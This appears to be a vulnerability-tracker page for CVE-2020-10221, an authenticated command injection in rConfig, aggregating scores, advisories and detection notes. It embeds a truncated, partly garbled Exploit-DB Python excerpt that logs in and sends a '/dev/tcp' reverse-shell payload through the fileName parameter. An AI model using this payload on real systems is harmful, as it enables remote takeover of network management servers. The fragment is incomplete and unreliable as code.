CVE-2020-10221
published 2020-03-08CVE-2020-10221: lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.94 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the fileName…
PriorityP194high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
KEVITWEXPLOIT
CISA Known Exploited Vulnerabilitydue 2022-05-03
Exploited in the wild
EPSS
80.22%
99.6th percentile
lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.94 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the fileName POST parameter.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| rconfig | rconfig | <= 3.9.4 | — |
Detection & IOCsextracted from sources · hover to see the quote
- ·Exploitation requires valid credentials — the attacker must first authenticate via /lib/crud/userprocess.php before the RCE endpoint is reachable. Detection should account for authenticated sessions, not just anonymous traffic. ↗
- ·The vulnerability affects rConfig through version 3.94; ensure detection rules are scoped to environments running these versions and are retired or adjusted after patching per vendor instructions. ↗
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.09.0CRITICALAV:N/AC:L/Au:S/C:C/I:C/A:C
vulncheck8.8HIGH
cisa8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-hxjm-95v4-6qjj: lib/ajaxHandlers/ajaxAddTemplate
ghsa_unreviewed·2022-05-24
CVE-2020-10221 [MEDIUM] CWE-78 GHSA-hxjm-95v4-6qjj: lib/ajaxHandlers/ajaxAddTemplate
lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.94 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the fileName POST parameter.
VulnCheck
rConfig OS Command Injection Vulnerability
vulncheck·2020·CVSS 8.8
CVE-2020-10221 [HIGH] CWE-78 rConfig OS Command Injection Vulnerability
rConfig OS Command Injection Vulnerability
rConfig lib/ajaxHandlers/ajaxAddTemplate.php contains an OS command injection vulnerability that allows remote attackers to execute OS commands via shell metacharacters in the fileName POST parameter.
Affected: rConfig rConfig
Required Action: Apply updates per vendor instructions.
Exploitation References: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
Remediation Due: 2022-05-03
CISA
rConfig OS Command Injection Vulnerability
cisa·2021-11-03·CVSS 8.8
CVE-2020-10221 [HIGH] CWE-78 rConfig OS Command Injection Vulnerability
Vulnerability: rConfig OS Command Injection Vulnerability
Affected: rConfig rConfig
rConfig lib/ajaxHandlers/ajaxAddTemplate.php contains an OS command injection vulnerability that allows remote attackers to execute OS commands via shell metacharacters in the fileName POST parameter.
Required Action: Apply updates per vendor instructions.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2020-10221
Remediation Due Date: 2022-05-03
No detection rules found.
Exploit-DB
rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution
exploitdb·2020-03-12·CVSS 8.8
CVE-2020-10221 [HIGH] rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution
rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution
---
# Exploit Title: rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution
# Date: 2020-03-08
# Exploit Author: Engin Demirbilek
# Vendor Homepage: https://www.rconfig.com/
# Version: rConfig & /dev/tcp/{}/{} 0>&1;".format(sys.argv[4], sys.argv[5])
login = {
'user':user,
'pass':password,
'sublogin':'1'
}
req = requests.Session()
print "Sendin login request ..."
login = req.post(url+"/lib/crud/userprocess.php", data=login, verify=False)
payload = {
'fileName':payload,
}
print "[+] Sendin exploit ..."
exploit = req.post(url+"/lib/ajaxHandlers/ajaxAddTemplate.php",cookies=req.cookies, data=payload, headers={
'User-Agent':'Mozilla/5.0 Gecko/20100101 Firefox/72.0',
'Accept':'text/html,application/
Nuclei
rConfig <= 3.9.4 - Authenticated OS Command Injection
nuclei·CVSS 8.8
CVE-2020-10221 [HIGH] rConfig <= 3.9.4 - Authenticated OS Command Injection
rConfig =7'
- type: status
status:
- 200
# digest: 4a0a0047304502203f0a1aa695b3ac6603ab336e907f3251206efd9eca659dc8ae7ba80d1002576c022100a310c8950df296eed6641ff17f27090b4ffa4ed5a92e9a49a1bc21519df55dd7:922c64590222798bb761d5b6d8e72950
No writeups or analysis indexed.
http://packetstormsecurity.com/files/156687/rConfig-3.93-Authenticated-Remote-Code-Execution.htmlhttps://cwe.mitre.org/data/definitions/78.htmlhttps://engindemirbilek.github.io/rconfig-3.93-rcehttps://github.com/EnginDemirbilek/EnginDemirbilek.github.io/blob/master/rconfig-3.93-rce.htmlhttp://packetstormsecurity.com/files/156687/rConfig-3.93-Authenticated-Remote-Code-Execution.htmlhttps://cwe.mitre.org/data/definitions/78.htmlhttps://engindemirbilek.github.io/rconfig-3.93-rcehttps://github.com/EnginDemirbilek/EnginDemirbilek.github.io/blob/master/rconfig-3.93-rce.htmlhttps://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-10221
2020-03-08
Published
2021-11-03
Added to CISA KEV
Exploited in the wild